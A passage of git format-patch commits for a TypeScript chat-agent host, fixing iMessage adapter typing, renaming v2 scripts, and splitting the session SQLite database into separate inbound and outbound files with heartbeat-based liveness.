Channel abstraction --- + +export interface Channel { + name: string; + connect(): Promise; + sendMessage(jid: string, text: string): Promise; + isConnected(): boolean; + ownsJid(jid: string): boolean; + disconnect(): Promise; + // Optional: typing indicator. Channels that support it implement it. + setTyping?(jid: string, isTyping: boolean): Promise; + // Optional: sync group/chat names from the platform. + syncGroups?(force: boolean): Promise; +} + +// Callback type that channels use to deliver inbound messages +export type OnInboundMessage = (chatJid: string, message: NewMessage) => void; + +// Callback for chat metadata discovery. +// name is optional — channels that deliver names inline (Telegram) pass it here; +// channels that sync names separately (via syncGroups) omit it. +export type OnChatMetadata = ( + chatJid: string, + timestamp: string, + name?: string, + channel?: string, + isGroup?: boolean, +) => void; From 2b64fec0e6de457b679188029ac53c0055bc83df Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:42:49 +0300 Subject: [PATCH 081/485] fix: clean up iMessage adapter type compatibility Replace `as never` cast with proper polyfill for channelIdFromThreadId. Narrow GatewayAdapter cast to only the gateway code path in bridge. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/chat-sdk-bridge.ts | 9 +++++---- src/channels/imessage.ts | 8 ++++++-- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 5ab9d88..e87e098 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -31,7 +31,7 @@ interface GatewayAdapter extends Adapter { } export interface ChatSdkBridgeConfig { - adapter: GatewayAdapter; + adapter: Adapter; concurrency?: ConcurrencyStrategy; /** Bot token for authenticating forwarded Gateway events (required for interaction handling). */ botToken?: string; @@ -114,17 +114,18 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await chat.initialize(); // Start Gateway listener for adapters that support it (e.g., Discord) - if (adapter.startGatewayListener) { + const gatewayAdapter = adapter as GatewayAdapter; + if (gatewayAdapter.startGatewayListener) { gatewayAbort = new AbortController(); // Start local HTTP server to receive forwarded Gateway events (including interactions) - const webhookUrl = await startLocalWebhookServer(adapter, setupConfig, config.botToken); + const webhookUrl = await startLocalWebhookServer(gatewayAdapter, setupConfig, config.botToken); const startGateway = () => { if (gatewayAbort?.signal.aborted) return; // Capture the long-running listener promise via waitUntil let listenerPromise: Promise | undefined; - adapter.startGatewayListener!( + gatewayAdapter.startGatewayListener!( { waitUntil: (p: Promise) => { listenerPromise = p; diff --git a/src/channels/imessage.ts b/src/channels/imessage.ts index 8ab4215..4bda288 100644 --- a/src/channels/imessage.ts +++ b/src/channels/imessage.ts @@ -15,11 +15,15 @@ registerChannelAdapter('imessage', { const isLocal = env.IMESSAGE_LOCAL !== 'false'; if (isLocal && !env.IMESSAGE_ENABLED) return null; if (!isLocal && !env.IMESSAGE_SERVER_URL) return null; - const imessageAdapter = createiMessageAdapter({ + const rawAdapter = createiMessageAdapter({ local: isLocal, serverUrl: env.IMESSAGE_SERVER_URL, apiKey: env.IMESSAGE_API_KEY, }); - return createChatSdkBridge({ adapter: imessageAdapter as never, concurrency: 'concurrent' }); + // Polyfill channelIdFromThreadId (community adapter doesn't implement it) + const imessageAdapter = Object.assign(rawAdapter, { + channelIdFromThreadId: (threadId: string) => threadId, + }); + return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); }, }); From 320176e7e8e35f6d5b539e1c1755a63b07b4a4ce Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:44:06 +0300 Subject: [PATCH 082/485] fix: remaining -v2 references in scripts, add v1 channels barrel Co-Authored-By: Claude Opus 4.6 (1M context) --- scripts/seed-discord.ts | 2 +- scripts/test-v2-channel-e2e.ts | 2 +- scripts/test-v2-host.ts | 2 +- src/v1/channels/index.ts | 1 + 4 files changed, 4 insertions(+), 3 deletions(-) create mode 100644 src/v1/channels/index.ts diff --git a/scripts/seed-discord.ts b/scripts/seed-discord.ts index 410570b..c5c3bfa 100644 --- a/scripts/seed-discord.ts +++ b/scripts/seed-discord.ts @@ -75,4 +75,4 @@ try { } } -console.log('Done! Run: npm run build && node dist/index-v2.js'); +console.log('Done! Run: npm run build && node dist/index.js'); diff --git a/scripts/test-v2-channel-e2e.ts b/scripts/test-v2-channel-e2e.ts index 15f84e3..9e698de 100644 --- a/scripts/test-v2-channel-e2e.ts +++ b/scripts/test-v2-channel-e2e.ts @@ -67,7 +67,7 @@ console.log('✓ Central DB initialized'); // --- Step 2: Set up mock channel adapter + delivery --- console.log('\n=== Step 2: Set up mock channel adapter & delivery ==='); -import { routeInbound } from '../src/router-v2.js'; +import { routeInbound } from '../src/router.js'; import { setDeliveryAdapter, startActiveDeliveryPoll, stopDeliveryPolls } from '../src/delivery.js'; import { getChannelAdapter, registerChannelAdapter, initChannelAdapters } from '../src/channels/channel-registry.js'; import { findSession } from '../src/db/sessions.js'; diff --git a/scripts/test-v2-host.ts b/scripts/test-v2-host.ts index ee1ed7a..d047d5f 100644 --- a/scripts/test-v2-host.ts +++ b/scripts/test-v2-host.ts @@ -69,7 +69,7 @@ console.log('✓ Central DB initialized'); // --- Step 2: Route inbound message (spawns container) --- console.log('\n=== Step 2: Route inbound message ==='); -import { routeInbound } from '../src/router-v2.js'; +import { routeInbound } from '../src/router.js'; import { findSession } from '../src/db/sessions.js'; import { sessionDbPath } from '../src/session-manager.js'; diff --git a/src/v1/channels/index.ts b/src/v1/channels/index.ts new file mode 100644 index 0000000..09d8e35 --- /dev/null +++ b/src/v1/channels/index.ts @@ -0,0 +1 @@ +// v1 channel barrel — no-op (channels registered via separate skill branches) From 82cb363f84e5bac4ba6562d0ca8a11e5bd4ecb2c Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:17:31 +0300 Subject: [PATCH 083/485] v2: split session DB into inbound/outbound for write isolation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Eliminates SQLite write contention across the host-container mount boundary by splitting the single session.db into two files, each with exactly one writer: inbound.db — host writes (messages_in, delivered tracking) outbound.db — container writes (messages_out, processing_ack) Key changes: - Host uses even seq numbers, container uses odd (collision-free) - Container heartbeat via file touch instead of DB UPDATE - Scheduling MCP tools now emit system actions via messages_out (host applies them to inbound.db during delivery) - Host sweep reads processing_ack + heartbeat file for stale detection - OneCLI ensureAgent() call added (was missing from v2, caused applyContainerConfig to reject unknown agent identifiers) Verified: tsc clean, 327 tests pass, real e2e through Docker works. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 117 +++++++-- container/agent-runner/src/db/index.ts | 12 +- container/agent-runner/src/db/messages-in.ts | 88 +++++-- container/agent-runner/src/db/messages-out.ts | 89 ++++--- container/agent-runner/src/index.ts | 12 +- .../agent-runner/src/integration.test.ts | 12 +- .../agent-runner/src/mcp-tools/interactive.ts | 16 +- .../agent-runner/src/mcp-tools/scheduling.ts | 80 +++--- container/agent-runner/src/poll-loop.test.ts | 14 +- container/agent-runner/src/poll-loop.ts | 9 +- container/agent-runner/tsconfig.json | 2 +- scripts/test-v2-host.ts | 44 +++- src/channels/channel-registry.test.ts | 4 +- src/container-runner.ts | 28 +- src/db/schema.ts | 31 ++- src/delivery.ts | 126 ++++++++- src/host-core.test.ts | 58 +++-- src/host-sweep.ts | 245 +++++++++++------- src/session-manager.ts | 98 ++++--- 19 files changed, 738 insertions(+), 347 deletions(-) diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 46f4a70..31f2fb2 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -1,31 +1,86 @@ +/** + * Two-DB connection layer. + * + * The session uses two SQLite files to eliminate write contention across + * the host-container mount boundary: + * + * inbound.db — host writes new messages here; container opens READ-ONLY + * outbound.db — container writes responses + acks here; host opens read-only + * + * Each file has exactly one writer, so no cross-process lock contention. + */ import Database from 'better-sqlite3'; +import fs from 'fs'; -const SESSION_DB_PATH = '/workspace/session.db'; +const DEFAULT_INBOUND_PATH = '/workspace/inbound.db'; +const DEFAULT_OUTBOUND_PATH = '/workspace/outbound.db'; +const DEFAULT_HEARTBEAT_PATH = '/workspace/.heartbeat'; -let _db: Database.Database | null = null; +let _inbound: Database.Database | null = null; +let _outbound: Database.Database | null = null; +let _heartbeatPath: string = DEFAULT_HEARTBEAT_PATH; -export function getSessionDb(): Database.Database { - if (!_db) { - _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); - _db.pragma('journal_mode = DELETE'); - _db.pragma('busy_timeout = 5000'); - _db.pragma('foreign_keys = ON'); +/** Inbound DB — container opens read-only (host is the sole writer). */ +export function getInboundDb(): Database.Database { + if (!_inbound) { + const dbPath = process.env.SESSION_INBOUND_DB_PATH || DEFAULT_INBOUND_PATH; + _inbound = new Database(dbPath, { readonly: true }); + _inbound.pragma('busy_timeout = 5000'); } - return _db; + return _inbound; } -/** For tests — opens an in-memory DB with session schema. */ -export function initTestSessionDb(): Database.Database { - _db = new Database(':memory:'); - _db.pragma('foreign_keys = ON'); - _db.exec(` +/** Outbound DB — container owns this file (sole writer). */ +export function getOutboundDb(): Database.Database { + if (!_outbound) { + const dbPath = process.env.SESSION_OUTBOUND_DB_PATH || DEFAULT_OUTBOUND_PATH; + _outbound = new Database(dbPath); + _outbound.pragma('journal_mode = DELETE'); + _outbound.pragma('busy_timeout = 5000'); + _outbound.pragma('foreign_keys = ON'); + } + return _outbound; +} + +/** + * Touch the heartbeat file — replaces the old touchProcessing() DB writes. + * The host checks this file's mtime for stale container detection. + * A file touch is cheaper and avoids cross-boundary DB write contention. + */ +export function touchHeartbeat(): void { + const p = process.env.SESSION_HEARTBEAT_PATH || _heartbeatPath; + const now = new Date(); + try { + fs.utimesSync(p, now, now); + } catch { + try { + fs.writeFileSync(p, ''); + } catch { + // Silently ignore — parent dir may not exist (e.g., in-memory test DBs) + } + } +} + +/** + * Clear stale processing_ack entries on container startup. + * If the previous container crashed, 'processing' entries are leftover. + * Clearing them lets the new container re-process those messages. + */ +export function clearStaleProcessingAcks(): void { + getOutboundDb().prepare("DELETE FROM processing_ack WHERE status = 'processing'").run(); +} + +/** For tests — creates in-memory DBs with the session schemas. */ +export function initTestSessionDb(): { inbound: Database.Database; outbound: Database.Database } { + _inbound = new Database(':memory:'); + _inbound.pragma('foreign_keys = ON'); + _inbound.exec(` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', - status_changed TEXT, process_after TEXT, recurrence TEXT, tries INTEGER DEFAULT 0, @@ -34,12 +89,20 @@ export function initTestSessionDb(): Database.Database { thread_id TEXT, content TEXT NOT NULL ); + CREATE TABLE delivered ( + message_out_id TEXT PRIMARY KEY, + delivered_at TEXT NOT NULL + ); + `); + + _outbound = new Database(':memory:'); + _outbound.pragma('foreign_keys = ON'); + _outbound.exec(` CREATE TABLE messages_out ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, - delivered INTEGER DEFAULT 0, deliver_after TEXT, recurrence TEXT, kind TEXT NOT NULL, @@ -48,11 +111,27 @@ export function initTestSessionDb(): Database.Database { thread_id TEXT, content TEXT NOT NULL ); + CREATE TABLE processing_ack ( + message_id TEXT PRIMARY KEY, + status TEXT NOT NULL, + status_changed TEXT NOT NULL + ); `); - return _db; + + return { inbound: _inbound, outbound: _outbound }; } export function closeSessionDb(): void { - _db?.close(); - _db = null; + _inbound?.close(); + _inbound = null; + _outbound?.close(); + _outbound = null; +} + +/** + * @deprecated Use getInboundDb() / getOutboundDb() instead. + * Kept for backward compatibility during migration. + */ +export function getSessionDb(): Database.Database { + return getInboundDb(); } diff --git a/container/agent-runner/src/db/index.ts b/container/agent-runner/src/db/index.ts index 63c00d3..cbd0e7e 100644 --- a/container/agent-runner/src/db/index.ts +++ b/container/agent-runner/src/db/index.ts @@ -1,5 +1,13 @@ -export { getSessionDb, initTestSessionDb, closeSessionDb } from './connection.js'; +export { + getInboundDb, + getOutboundDb, + getSessionDb, + initTestSessionDb, + closeSessionDb, + touchHeartbeat, + clearStaleProcessingAcks, +} from './connection.js'; export { getPendingMessages, markProcessing, markCompleted, markFailed, getMessageIn, findQuestionResponse } from './messages-in.js'; export type { MessageInRow } from './messages-in.js'; -export { writeMessageOut, getUndeliveredMessages, markDelivered } from './messages-out.js'; +export { writeMessageOut, getUndeliveredMessages } from './messages-out.js'; export type { MessageOutRow, WriteMessageOut } from './messages-out.js'; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index 579eb15..fe2a222 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -1,4 +1,13 @@ -import { getSessionDb } from './connection.js'; +/** + * Inbound message operations (container side). + * + * Reads from inbound.db (host-owned, opened read-only). + * Writes processing status to processing_ack in outbound.db (container-owned). + * + * The container never writes to inbound.db — all status tracking goes through + * processing_ack. The host reads processing_ack to sync message lifecycle. + */ +import { getInboundDb, getOutboundDb } from './connection.js'; export interface MessageInRow { id: string; @@ -6,7 +15,6 @@ export interface MessageInRow { kind: string; timestamp: string; status: string; - status_changed: string | null; process_after: string | null; recurrence: string | null; tries: number; @@ -16,9 +24,16 @@ export interface MessageInRow { content: string; } -/** Fetch all pending messages that are due for processing. */ +/** + * Fetch pending messages that are due for processing. + * Reads from inbound.db (read-only), filters against processing_ack in outbound.db + * to skip messages already picked up by this or a previous container run. + */ export function getPendingMessages(): MessageInRow[] { - return getSessionDb() + const inbound = getInboundDb(); + const outbound = getOutboundDb(); + + const pending = inbound .prepare( `SELECT * FROM messages_in WHERE status = 'pending' @@ -26,49 +41,74 @@ export function getPendingMessages(): MessageInRow[] { ORDER BY timestamp ASC`, ) .all() as MessageInRow[]; + + if (pending.length === 0) return []; + + // Filter out messages already acknowledged in outbound.db + const ackedIds = new Set( + (outbound.prepare('SELECT message_id FROM processing_ack').all() as Array<{ message_id: string }>).map( + (r) => r.message_id, + ), + ); + + return pending.filter((m) => !ackedIds.has(m.id)); } -/** Mark messages as processing. */ +/** Mark messages as processing — writes to processing_ack in outbound.db. */ export function markProcessing(ids: string[]): void { if (ids.length === 0) return; - const db = getSessionDb(); - const stmt = db.prepare("UPDATE messages_in SET status = 'processing', status_changed = datetime('now'), tries = tries + 1 WHERE id = ?"); + const db = getOutboundDb(); + const stmt = db.prepare( + "INSERT OR REPLACE INTO processing_ack (message_id, status, status_changed) VALUES (?, 'processing', datetime('now'))", + ); db.transaction(() => { for (const id of ids) stmt.run(id); })(); } -/** Mark messages as completed. */ +/** Mark messages as completed — updates processing_ack in outbound.db. */ export function markCompleted(ids: string[]): void { if (ids.length === 0) return; - const db = getSessionDb(); - const stmt = db.prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ?"); + const db = getOutboundDb(); + const stmt = db.prepare( + "INSERT OR REPLACE INTO processing_ack (message_id, status, status_changed) VALUES (?, 'completed', datetime('now'))", + ); db.transaction(() => { for (const id of ids) stmt.run(id); })(); } -/** Update status_changed on processing messages (heartbeat for host idle detection). */ -export function touchProcessing(ids: string[]): void { - if (ids.length === 0) return; - const db = getSessionDb(); - const stmt = db.prepare("UPDATE messages_in SET status_changed = datetime('now') WHERE id = ? AND status = 'processing'"); - for (const id of ids) stmt.run(id); -} - -/** Mark a single message as failed. */ +/** Mark a single message as failed — writes to processing_ack in outbound.db. */ export function markFailed(id: string): void { - getSessionDb().prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(id); + getOutboundDb() + .prepare( + "INSERT OR REPLACE INTO processing_ack (message_id, status, status_changed) VALUES (?, 'failed', datetime('now'))", + ) + .run(id); } -/** Get a message by ID. */ +/** Get a message by ID (read from inbound.db). */ export function getMessageIn(id: string): MessageInRow | undefined { - return getSessionDb().prepare('SELECT * FROM messages_in WHERE id = ?').get(id) as MessageInRow | undefined; + return getInboundDb().prepare('SELECT * FROM messages_in WHERE id = ?').get(id) as MessageInRow | undefined; } -/** Find a pending response to a question (by questionId in content). */ +/** + * Find a pending response to a question (by questionId in content). + * Reads from inbound.db, checks processing_ack to skip already-handled responses. + */ export function findQuestionResponse(questionId: string): MessageInRow | undefined { - return getSessionDb() + const inbound = getInboundDb(); + const outbound = getOutboundDb(); + + const response = inbound .prepare("SELECT * FROM messages_in WHERE status = 'pending' AND content LIKE ?") .get(`%"questionId":"${questionId}"%`) as MessageInRow | undefined; + + if (!response) return undefined; + + // Check it hasn't been acked already + const acked = outbound.prepare('SELECT 1 FROM processing_ack WHERE message_id = ?').get(response.id); + if (acked) return undefined; + + return response; } diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index df6ebef..55e078c 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -1,11 +1,16 @@ -import { getSessionDb } from './connection.js'; +/** + * Outbound message operations (container side). + * + * Writes to outbound.db (container-owned). + * The host polls this DB (read-only) for undelivered messages. + */ +import { getInboundDb, getOutboundDb } from './connection.js'; export interface MessageOutRow { id: string; seq: number | null; in_reply_to: string | null; timestamp: string; - delivered: number; deliver_after: string | null; recurrence: string | null; kind: string; @@ -27,59 +32,63 @@ export interface WriteMessageOut { content: string; } -/** Write a new outbound message, auto-assigning a seq number. */ +/** + * Write a new outbound message, auto-assigning an odd seq number. + * Container uses odd seq (1, 3, 5...), host uses even (2, 4, 6...) — + * this prevents seq collisions without cross-DB coordination. + */ export function writeMessageOut(msg: WriteMessageOut): number { - const db = getSessionDb(); - const nextSeq = ( - db - .prepare( - `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( - SELECT seq FROM messages_in WHERE seq IS NOT NULL - UNION ALL - SELECT seq FROM messages_out WHERE seq IS NOT NULL - )`, - ) - .get() as { next: number } - ).next; + const outbound = getOutboundDb(); + const inbound = getInboundDb(); - db.prepare( - `INSERT INTO messages_out (id, seq, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, @seq, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, - ).run({ - in_reply_to: null, - deliver_after: null, - recurrence: null, - platform_id: null, - channel_type: null, - thread_id: null, - ...msg, - seq: nextSeq, - }); + // Read max seq from both DBs to maintain global ordering. + // Safe: each side only reads the other DB, never writes to it. + const maxOut = (outbound.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_out').get() as { m: number }).m; + const maxIn = (inbound.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; + const max = Math.max(maxOut, maxIn); + const nextSeq = max % 2 === 0 ? max + 1 : max + 2; // next odd + + outbound + .prepare( + `INSERT INTO messages_out (id, seq, in_reply_to, timestamp, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, @in_reply_to, datetime('now'), @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + in_reply_to: null, + deliver_after: null, + recurrence: null, + platform_id: null, + channel_type: null, + thread_id: null, + ...msg, + seq: nextSeq, + }); return nextSeq; } -/** Look up a message's platform ID by seq number. */ +/** + * Look up a message's platform ID by seq number. + * Searches both inbound and outbound DBs since seq spans both. + */ export function getMessageIdBySeq(seq: number): string | null { - const inRow = getSessionDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as { id: string } | undefined; + const inRow = getInboundDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as + | { id: string } + | undefined; if (inRow) return inRow.id; - const outRow = getSessionDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as { id: string } | undefined; + const outRow = getOutboundDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as + | { id: string } + | undefined; return outRow?.id ?? null; } -/** Get undelivered messages (for host polling). */ +/** Get undelivered messages (for host polling — reads from outbound.db). */ export function getUndeliveredMessages(): MessageOutRow[] { - return getSessionDb() + return getOutboundDb() .prepare( `SELECT * FROM messages_out - WHERE delivered = 0 - AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + WHERE (deliver_after IS NULL OR deliver_after <= datetime('now')) ORDER BY timestamp ASC`, ) .all() as MessageOutRow[]; } - -/** Mark a message as delivered. */ -export function markDelivered(id: string): void { - getSessionDb().prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(id); -} diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index db6523a..8f91e6e 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -5,14 +5,18 @@ * No stdin, no stdout markers, no IPC files. * * Config: - * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) + * - SESSION_INBOUND_DB_PATH: path to host-owned inbound DB (default: /workspace/inbound.db) + * - SESSION_OUTBOUND_DB_PATH: path to container-owned outbound DB (default: /workspace/outbound.db) + * - SESSION_HEARTBEAT_PATH: heartbeat file path (default: /workspace/.heartbeat) * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks * * Mount structure: * /workspace/ - * session.db ← session SQLite DB + * inbound.db ← host-owned session DB (container reads only) + * outbound.db ← container-owned session DB + * .heartbeat ← container touches for liveness detection * outbox/ ← outbound files * agent/ ← agent group folder (CLAUDE.md, skills, working files) * .claude/ ← Claude SDK session data @@ -80,7 +84,9 @@ async function main(): Promise { command: 'node', args: [mcpServerPath], env: { - SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', + SESSION_INBOUND_DB_PATH: process.env.SESSION_INBOUND_DB_PATH || '/workspace/inbound.db', + SESSION_OUTBOUND_DB_PATH: process.env.SESSION_OUTBOUND_DB_PATH || '/workspace/outbound.db', + SESSION_HEARTBEAT_PATH: process.env.SESSION_HEARTBEAT_PATH || '/workspace/.heartbeat', }, }, }, diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index 63c07b7..ae76e87 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,6 +1,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -15,7 +15,7 @@ afterEach(() => { }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { - getSessionDb() + getInboundDb() .prepare( `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) VALUES (?, 'chat', datetime('now'), 'pending', ?, ?, ?, ?)`, @@ -25,20 +25,16 @@ function insertMessage(id: string, content: object, opts?: { platformId?: string describe('poll loop integration', () => { it('should pick up a message, process it, and write a response', async () => { - // Insert a message before starting the loop insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); const provider = new MockProvider(() => '42'); - // Run the poll loop in background, abort after it processes const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); - // Wait for processing await waitFor(() => getUndeliveredMessages().length > 0, 2000); controller.abort(); - // Verify const out = getUndeliveredMessages(); expect(out).toHaveLength(1); expect(JSON.parse(out[0].content).text).toBe('42'); @@ -47,11 +43,11 @@ describe('poll loop integration', () => { expect(out[0].thread_id).toBe('thread-1'); expect(out[0].in_reply_to).toBe('m1'); - // Input message should be completed + // Input message should be acked (not pending) const pending = getPendingMessages(); expect(pending).toHaveLength(0); - await loopPromise.catch(() => {}); // swallow abort + await loopPromise.catch(() => {}); }); it('should process multiple messages in a batch', async () => { diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts index dbd6ad6..f726876 100644 --- a/container/agent-runner/src/mcp-tools/interactive.ts +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -4,7 +4,7 @@ * ask_user_question is a blocking tool call — it writes a messages_out row * with a question card, then polls messages_in for the response. */ -import { getSessionDb } from '../db/connection.js'; +import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -64,7 +64,7 @@ export const askUserQuestion: McpToolDefinition = { const questionId = generateId(); const r = routing(); - // Write question card to messages_out + // Write question card to outbound.db writeMessageOut({ id: questionId, kind: 'chat-sdk', @@ -81,19 +81,15 @@ export const askUserQuestion: McpToolDefinition = { log(`ask_user_question: ${questionId} → "${question}" [${options.join(', ')}]`); - // Poll for response in messages_in + // Poll for response in inbound.db (host writes the response there) const deadline = Date.now() + timeout; while (Date.now() < deadline) { - const response = getSessionDb() - .prepare("SELECT content FROM messages_in WHERE kind = 'system' AND content LIKE ? AND status = 'pending' LIMIT 1") - .get(`%"questionId":"${questionId}"%`) as { content: string } | undefined; + const response = findQuestionResponse(questionId); if (response) { const parsed = JSON.parse(response.content); - // Mark the response as completed so the poll loop doesn't pick it up - getSessionDb() - .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE kind = 'system' AND content LIKE ?") - .run(`%"questionId":"${questionId}"%`); + // Mark the response as completed via processing_ack (outbound.db) + markCompleted([response.id]); log(`ask_user_question response: ${questionId} → ${parsed.selectedOption}`); return ok(parsed.selectedOption); diff --git a/container/agent-runner/src/mcp-tools/scheduling.ts b/container/agent-runner/src/mcp-tools/scheduling.ts index 3f3d0d0..be3b576 100644 --- a/container/agent-runner/src/mcp-tools/scheduling.ts +++ b/container/agent-runner/src/mcp-tools/scheduling.ts @@ -1,10 +1,12 @@ /** * Scheduling MCP tools: schedule_task, list_tasks, cancel_task, pause_task, resume_task. * - * Tasks are messages_in rows with process_after timestamps and optional recurrence. - * The host sweep detects due tasks and wakes the container. + * With the two-DB split, the container cannot write to inbound.db (host-owned). + * Scheduling operations are sent as system actions via messages_out — the host + * reads them during delivery and applies the changes to inbound.db. */ -import { getSessionDb } from '../db/connection.js'; +import { getInboundDb } from '../db/connection.js'; +import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -57,22 +59,22 @@ export const scheduleTask: McpToolDefinition = { const recurrence = (args.recurrence as string) || null; const script = (args.script as string) || null; - const content = JSON.stringify({ prompt, script }); - - getSessionDb() - .prepare( - `INSERT INTO messages_in (id, timestamp, status, status_changed, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, datetime('now'), 'pending', datetime('now'), 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, - ) - .run({ - id, - process_after: processAfter, + // Write as a system action — host will insert into inbound.db + writeMessageOut({ + id, + kind: 'system', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ + action: 'schedule_task', + taskId: id, + prompt, + script, + processAfter, recurrence, - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, - content, - }); + }), + }); log(`schedule_task: ${id} at ${processAfter}${recurrence ? ` (recurring: ${recurrence})` : ''}`); return ok(`Task scheduled (id: ${id}, runs at: ${processAfter}${recurrence ? `, recurrence: ${recurrence}` : ''})`); @@ -92,13 +94,14 @@ export const listTasks: McpToolDefinition = { }, async handler(args) { const status = args.status as string | undefined; + const db = getInboundDb(); let rows; if (status) { - rows = getSessionDb() + rows = db .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status = ? ORDER BY process_after ASC") .all(status); } else { - rows = getSessionDb() + rows = db .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status NOT IN ('completed') ORDER BY process_after ASC") .all(); } @@ -131,14 +134,15 @@ export const cancelTask: McpToolDefinition = { const taskId = args.taskId as string; if (!taskId) return err('taskId is required'); - const result = getSessionDb() - .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") - .run(taskId); - - if (result.changes === 0) return err(`Task not found or not cancellable: ${taskId}`); + // Write as a system action — host will update inbound.db + writeMessageOut({ + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + content: JSON.stringify({ action: 'cancel_task', taskId }), + }); log(`cancel_task: ${taskId}`); - return ok(`Task cancelled: ${taskId}`); + return ok(`Task cancellation requested: ${taskId}`); }, }; @@ -158,14 +162,14 @@ export const pauseTask: McpToolDefinition = { const taskId = args.taskId as string; if (!taskId) return err('taskId is required'); - const result = getSessionDb() - .prepare("UPDATE messages_in SET status = 'paused', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'pending'") - .run(taskId); - - if (result.changes === 0) return err(`Task not found or not pausable: ${taskId}`); + writeMessageOut({ + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + content: JSON.stringify({ action: 'pause_task', taskId }), + }); log(`pause_task: ${taskId}`); - return ok(`Task paused: ${taskId}`); + return ok(`Task pause requested: ${taskId}`); }, }; @@ -185,14 +189,14 @@ export const resumeTask: McpToolDefinition = { const taskId = args.taskId as string; if (!taskId) return err('taskId is required'); - const result = getSessionDb() - .prepare("UPDATE messages_in SET status = 'pending', 